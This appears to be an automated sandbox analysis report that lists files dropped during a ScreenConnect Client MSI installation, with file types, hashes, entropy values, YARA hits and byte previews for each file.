                                                                                                              SHA-256:20BD545247C5CAFBFF33499B9D84E21BDD56B99D57F3DCEC4B4EBDFFA550389D
                                                                                                              SHA-512:390A0EE1C233F5E1C502524908E8C0D22AC02127B4F7E39DB76E323E26BFD2B59D20EC34AB0236AFD69DDA6186FA1F2F250F4DA956C6C86C630534507A30CA87
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>.......................................................{...b...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\4ad422.msi

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, MSI Installer, Code page: 1252, Title: Installation Database, Subject: Default, Author: ScreenConnect Software, Keywords: Default, Comments: Default, Template: Intel;1033, Revision Number: {E9529982-0D10-CBAC-7648-2909782EACA4}, Create Time/Date: Tue Aug 13 23:22:20 2024, Last Saved Time/Date: Tue Aug 13 23:22:20 2024, Number of Pages: 200, Number of Words: 2, Name of Creating Application: Windows Installer XML Toolset (3.11.0.1701), Security: 2
                                                                                                              Category:dropped
                                                                                                              Size (bytes):13336576
                                                                                                              Entropy (8bit):7.968421626028184
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:196608:353JLR3LGMLiW35g53JLR3LGMLL53JLR3LGMLt53JLR3LGML253JLR3LGMLa53JT:dTiugTRTXT6T+TYTg
                                                                                                              MD5:0867B2EF3BF82353E8556BDC4A6B84A9
                                                                                                              SHA1:642C4D1B54BC695B62B4B7662D8CCB52E1B7DEA8
                                                                                                              SHA-256:20BD545247C5CAFBFF33499B9D84E21BDD56B99D57F3DCEC4B4EBDFFA550389D
                                                                                                              SHA-512:390A0EE1C233F5E1C502524908E8C0D22AC02127B4F7E39DB76E323E26BFD2B59D20EC34AB0236AFD69DDA6186FA1F2F250F4DA956C6C86C630534507A30CA87
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>.......................................................{...b...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\MSID672.tmp

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):423834
                                                                                                              Entropy (8bit):6.577442825920224
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6144:auH2aCGw1ST1wQLdqv5uH2aCGw1ST1wQLdqvQA:auH2anwohwQUv5uH2anwohwQUvL
                                                                                                              MD5:DF366D8D56AA84C187C847179028B943
                                                                                                              SHA1:E3610B296471372E7A3BD63DA7CDB0ACB0A6779C
                                                                                                              SHA-256:0013197A79D197F6A2637F0459134F733E207040118D38DBFF2B8273FC6C0E7C
                                                                                                              SHA-512:C782016CBA3EA225E02B9634B84D1C18AB4C325C885D611EBCB5F86098FC66850F3C5505065765690D42322FF6C00EC7D7BEC7F298830887956BF7161943B673
                                                                                                              Malicious:false
                                                                                                              Yara Hits:
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Windows\Installer\MSID672.tmp, Author: Joe Security
                                                                                                              Reputation:low
                                                                                                              Preview:...@IXOS.@.....@.V{Y.@.....@.....@.....@.....@.....@......&.{E9529982-0D10-CBAC-7648-2909782EACA4}'.ScreenConnect Client (e6cb77284cf765aa)..setup.msi.@.....@.....@.....@......DefaultIcon..&.{E9529982-0D10-CBAC-7648-2909782EACA4}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (e6cb77284cf765aa)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]...@.......@........ProcessComponents..Updating component registration.....@.....@.....@.]....&.{F7DC6ACE-2599-29C8-925C-5B3ACC994D1F}^.C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll.@.......@.....@.....@......&.{E75F3825-615D-A6C3-18A8-A81116BE1B2A}f.C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsBackstageShell.exe.@.......@.....@.....@......&.{1D30660B-8729-B08B-2523-3D6361F833F5}c.C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsFileManager.exe.@.......@.

                                                                                                              C:\Windows\Installer\MSID692.tmp

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):207360
                                                                                                              Entropy (8bit):6.573348437503042
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
                                                                                                              MD5:BA84DD4E0C1408828CCC1DE09F585EDA
                                                                                                              SHA1:E8E10065D479F8F591B9885EA8487BC673301298
                                                                                                              SHA-256:3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
                                                                                                              SHA-512:7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../...*.../......./......./.....n./.*.*.../.*./.../.*...../....../.*.-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\MSID887.tmp

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):207360
                                                                                                              Entropy (8bit):6.573348437503042
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
                                                                                                              MD5:BA84DD4E0C1408828CCC1DE09F585EDA
                                                                                                              SHA1:E8E10065D479F8F591B9885EA8487BC673301298
                                                                                                              SHA-256:3CFF4AC91288A0FF0C13278E73B282A64E83D089C5A61A45D483194AB336B852
                                                                                                              SHA-512:7A38418F6EE8DBC66FAB2CD5AD8E033E761912EFC465DAA484858D451DA4B8576079FE90FD3B6640410EDC8B3CAC31C57719898134F246F4000D60A252D88290
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........AF../.../.../.'D..../.'D..../.'D..../...,.../...+.../...*.../......./......./.....n./.*.*.../.*./.../.*...../....../.*.-.../.Rich../.........................PE..L...pG.Y...........!.........L......&.....................................................@.................................P........P..x....................`......P...T...............................@...............<............................text...+........................... ..`.rdata..*...........................@..@.data...."... ......................@....rsrc...x....P......................@..@.reloc.......`......................@..B........................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\SourceHash{E9529982-0D10-CBAC-7648-2909782EACA4}

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                              Category:dropped
                                                                                                              Size (bytes):20480
                                                                                                              Entropy (8bit):1.163189692269735
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:12:JSbX72FjPAGiLIlHVRpMh/7777777777777777777777777vDHFGsLnz2lp3Xl0G:JNQI5cotb6F
                                                                                                              MD5:A4F0558CA8530C0938E2867CFD66058B
                                                                                                              SHA1:ECCA069A02E09B39D0CC389A88091828BF286553
                                                                                                              SHA-256:8630AEC7420DC2C97418CC7E318B9680B14986FE156D8175E571E5B386C2D281
                                                                                                              SHA-512:823BC40B270D018002DF56AF5E71B1A064254FE83704F1949635EAB603AFFCD1A626533A919DAB60EA1C02C151DFDE21FE68241B83A421BE6869573E572E7390
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\inprogressinstallinfo.ipi

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                              Category:dropped
                                                                                                              Size (bytes):20480
                                                                                                              Entropy (8bit):1.5450158783970624
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:q8Ph4uRc06WX4MnT5RDnd3O+qcq56AdujS5ar2AdujSIDPr:1h418nTJ3Cpiy/r
                                                                                                              MD5:CD13E7D55FFCCD34CF9A8BE5A5BFDD4D
                                                                                                              SHA1:855D96C2A13CDB113DC3C6535A0909E643C7CD64
                                                                                                              SHA-256:DA8A8331D843E1DCE372D11558B79DB633F3CD47BC1BB24B2991BE726703225A
                                                                                                              SHA-512:18C8F507BAE5342BB7BACDF95A3D32C7BA380A0C5B278D3EAD2284812F9A8B5349E8A9AF010D81EA483506B7E79B789DB5C72FD5AA0A25BA9DDE88BF4768BD8D
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Installer\{E9529982-0D10-CBAC-7648-2909782EACA4}\DefaultIcon

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:MS Windows icon resource - 3 icons, 16x16 with PNG image data, 16 x 16, 8-bit colormap, non-interlaced, 4 bits/pixel, 32x32 with PNG image data, 32 x 32, 1-bit colormap, non-interlaced, 4 bits/pixel
                                                                                                              Category:dropped
                                                                                                              Size (bytes):435
                                                                                                              Entropy (8bit):5.289734780210945
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:12:Kvv/7tghWPjScQZ/Ev/739Jgh5TZYR/v/71XfghNeZ:QOZZq9JOz0dONeZ
                                                                                                              MD5:F34D51C3C14D1B4840AE9FF6B70B5D2F
                                                                                                              SHA1:C761D3EF26929F173CEB2F8E01C6748EE2249A8A
                                                                                                              SHA-256:0DD459D166F037BB8E531EB2ECEB2B79DE8DBBD7597B05A03C40B9E23E51357A
                                                                                                              SHA-512:D6EEB5345A5A049A87BFBFBBBEBFBD9FBAEC7014DA41DB1C706E8B16DDEC31561679AAE9E8A0847098807412BD1306B9616C8E6FCFED8683B4F33BD05ADE38D1
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:..............z...6... ..............00..........0....PNG........IHDR.............(-.S....PLTE....22.u......tRNS.@..f..."IDATx.c` .0"...$.(......SC..Q8....9b.i.Xa.....IEND.B`..PNG........IHDR... ... .....I......PLTE....22.u......tRNS.@..f...(IDATx.c`...... ... D.......vb.....A`..(.-s...q....IEND.B`..PNG........IHDR...0...0.....m.k.....PLTE....22.u......tRNS.@..f...+IDATx.c` .......Q...S.@..DQu...4...(.}DQD...3x........IEND.B`.

                                                                                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                              Category:dropped
                                                                                                              Size (bytes):454234
                                                                                                              Entropy (8bit):5.356161733172065
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:6qELG7gK+RaOOp3LCCpfmLgYI66xgFF9Sq8K6MAS2OMUHl6Gin327D22A26Kgaun:zTtbmkExhMJCIpEG90D5JG81IIgMW
                                                                                                              MD5:58BFABBC42E0A430B53BB5E53F2B11D8
                                                                                                              SHA1:02263FA27416B2FDD56F4E49C2AC55A80412FEEB
                                                                                                              SHA-256:9E348D41958101E78C0CFF1A38B1CB2A03CF0923C2101624B8D3C9AB53EFB0EB
                                                                                                              SHA-512:9FA41C081038509ADDB4A56A9045F3DC58BCE4B311CF0B0A3C3149D12D3BF4128C5E94501EF4CA988C2FC936C4CFACBB5636EA379D753D0E8D2A04288B94F2F9
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:.To learn about increasing the verbosity of the NGen log files please see http://go.microsoft.com/fwlink/?linkid=210113..12/07/2019 14:54:22.458 [5488]: Command line: D:\wd\compilerTemp\BMT.200yuild.1bk\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe executeQueuedItems /nologo ..12/07/2019 14:54:22.473 [5488]: Executing command from offline queue: install "System.Runtime.WindowsRuntime.UI.Xaml, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=b77a5c561934e089, processorArchitecture=msil" /NoDependencies /queue:1..12/07/2019 14:54:22.490 [5488]: Executing command from offline queue: install "System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil" /NoDependencies /queue:3..12/07/2019 14:54:22.490 [5488]: Exclusion list entry found for System.Web.ApplicationServices, Version=4.0.0.0, Culture=Neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=msil; it will not be installed..12/07/2019 14:54:22.490 [

                                                                                                              C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\svchost.exe
                                                                                                              File Type:JSON data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):55
                                                                                                              Entropy (8bit):4.306461250274409
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
                                                                                                              MD5:DCA83F08D448911A14C22EBCACC5AD57
                                                                                                              SHA1:91270525521B7FE0D986DB19747F47D34B6318AD
                                                                                                              SHA-256:2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
                                                                                                              SHA-512:96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

                                                                                                              C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

                                                                                                              Download File
                                                                                                              Process:C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                              File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                                                                                                              Category:modified
                                                                                                              Size (bytes):4926
                                                                                                              Entropy (8bit):3.247360094755674
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:FaqdF78F7B+AAHdKoqKFxcxkFiF7KaqdF7O+AAHdKoqKFxcxkF+:cEOB+AAsoJjykePEO+AAsoJjykI
                                                                                                              MD5:E542F92D3DBDDC26793A2887D99CE77B
                                                                                                              SHA1:AA736E70C35ACDA0B5E5D344B378B7C83BD71F46
                                                                                                              SHA-256:F6D90E53EFA03D38178D33CBED1052F3995577E75230661E8402DB868EAF7F62
                                                                                                              SHA-512:4C81D18E6585356B800B528A88658DD8861EEB5CF5274D20175D91169AB0C3EBCEBDED4711A207AECA14BA7937C773E23433BE3EA335D506F2A91759071BBCA2
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. O.c.t. .. 0.6. .. 2.0.2.3. .1.1.:.3.5.:.2.9.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e.....*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*. .W.S.C. .S.t.a.t.e. .I.n.f.o. .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.....*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. .*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.*.....d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

                                                                                                              C:\Windows\Temp\~DF24DC01446055A744.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                              Category:dropped
                                                                                                              Size (bytes):20480
                                                                                                              Entropy (8bit):1.5450158783970624
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:q8Ph4uRc06WX4MnT5RDnd3O+qcq56AdujS5ar2AdujSIDPr:1h418nTJ3Cpiy/r
                                                                                                              MD5:CD13E7D55FFCCD34CF9A8BE5A5BFDD4D
                                                                                                              SHA1:855D96C2A13CDB113DC3C6535A0909E643C7CD64
                                                                                                              SHA-256:DA8A8331D843E1DCE372D11558B79DB633F3CD47BC1BB24B2991BE726703225A
                                                                                                              SHA-512:18C8F507BAE5342BB7BACDF95A3D32C7BA380A0C5B278D3EAD2284812F9A8B5349E8A9AF010D81EA483506B7E79B789DB5C72FD5AA0A25BA9DDE88BF4768BD8D
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF33738E9E7FA6C1C9.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):32768
                                                                                                              Entropy (8bit):0.069600964839949
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:2/9LG7iVCnLG7iVrKOzPLHKOG85Lf7T5B2GyVky6l3X:2F0i8n0itFzDHFGsLnz2E3X
                                                                                                              MD5:DBD4215324CA8DD713DC46E2C7E06868
                                                                                                              SHA1:54C6B5DA5F796F81B31AF554E12C80F07B471633
                                                                                                              SHA-256:A946E39755C9B1CBDA7201D65BECFB95706534CD58C0E229179374260D170C73
                                                                                                              SHA-512:837B1CAE2A09DC8FFBE7A8F70B4C620C2903F1D0C4DCE0F19C8A22E21B4D2BA990A9DB33152826D646EA1FA910C9DA7AD5FACFE457777D123338FD8E3ECCD912
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF389ACAC27A6A3ED4.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                              Category:dropped
                                                                                                              Size (bytes):32768
                                                                                                              Entropy (8bit):1.2376426366537094
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:3/wu2aM+xFX4jT5JDnd3O+qcq56AdujS5ar2AdujSIDPr:vw4ATJ3Cpiy/r
                                                                                                              MD5:635C00E97EAA8C42BAD3E30BE924A7CB
                                                                                                              SHA1:A2B72760EA9897BAD52DC4CD7DC63C8F685F9842
                                                                                                              SHA-256:957E5038ED3140578EA3B1E8FEDF91DF76AB2E3813D5692EC49CAAD5E2B99E02
                                                                                                              SHA-512:76267278DF290BCDF0FBCD9DC76F65AB7C75086739D4103B06C1D978DA207322BF077487020EE73A20F8B2BE2604F85D4D3B94FACEBE84727105566B7C365C6F
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF469D8FA96F297F9F.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):512
                                                                                                              Entropy (8bit):0.0
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3::
                                                                                                              MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                              SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                              SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                              SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF4F3C3B966EF30D7E.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):512
                                                                                                              Entropy (8bit):0.0
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3::
                                                                                                              MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                              SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                              SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                              SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF61B74571740FCD59.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                              Category:dropped
                                                                                                              Size (bytes):20480
                                                                                                              Entropy (8bit):1.5450158783970624
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:q8Ph4uRc06WX4MnT5RDnd3O+qcq56AdujS5ar2AdujSIDPr:1h418nTJ3Cpiy/r
                                                                                                              MD5:CD13E7D55FFCCD34CF9A8BE5A5BFDD4D
                                                                                                              SHA1:855D96C2A13CDB113DC3C6535A0909E643C7CD64
                                                                                                              SHA-256:DA8A8331D843E1DCE372D11558B79DB633F3CD47BC1BB24B2991BE726703225A
                                                                                                              SHA-512:18C8F507BAE5342BB7BACDF95A3D32C7BA380A0C5B278D3EAD2284812F9A8B5349E8A9AF010D81EA483506B7E79B789DB5C72FD5AA0A25BA9DDE88BF4768BD8D
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF6D28AA8B4C4122E6.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):512
                                                                                                              Entropy (8bit):0.0
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3::
                                                                                                              MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                              SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                              SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                              SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF79C717DFA6DBA26C.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):69632
                                                                                                              Entropy (8bit):0.13481386440065543
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:24:La+tK26DLdWmgduGK2cipVdqcq5AdWmgduGK2cipV7VRwGpurkgddb+GCzK2f9D:LrsDBAdujS3qcq56AdujS5arHb3Cn5
                                                                                                              MD5:6493D4685BC8CB10B4F311F815142E99
                                                                                                              SHA1:4F9396DE6E6482DFAE9522252D40ACB086C6C3D9
                                                                                                              SHA-256:BAFF6CBDD132E3A3E5D757CC2C94D83219CA2EC9D72F5A73C63961F6AA9B9F28
                                                                                                              SHA-512:4C7F0DE6BE478C581DBA68DABED5506CBAB78DC14585D85316C1167E23F4B2173443092B7A0A9A5EBA7D6BC0EA69E10685DDCC85D5FAC1920A714D0CAD2F3503
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF805E0E1C4F2A337E.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):512
                                                                                                              Entropy (8bit):0.0
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3::
                                                                                                              MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                              SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                              SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                              SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF889CF5382F206C35.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                              Category:dropped
                                                                                                              Size (bytes):32768
                                                                                                              Entropy (8bit):1.2376426366537094
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:48:3/wu2aM+xFX4jT5JDnd3O+qcq56AdujS5ar2AdujSIDPr:vw4ATJ3Cpiy/r
                                                                                                              MD5:635C00E97EAA8C42BAD3E30BE924A7CB
                                                                                                              SHA1:A2B72760EA9897BAD52DC4CD7DC63C8F685F9842
                                                                                                              SHA-256:957E5038ED3140578EA3B1E8FEDF91DF76AB2E3813D5692EC49CAAD5E2B99E02
                                                                                                              SHA-512:76267278DF290BCDF0FBCD9DC76F65AB7C75086739D4103B06C1D978DA207322BF077487020EE73A20F8B2BE2604F85D4D3B94FACEBE84727105566B7C365C6F
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                              C:\Windows\Temp\~DF9AC0700068189034.TMP

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):512
                                                                                                              Entropy (8bit):0.0
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3::
                                                                                                              MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                              SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                              SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                              SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
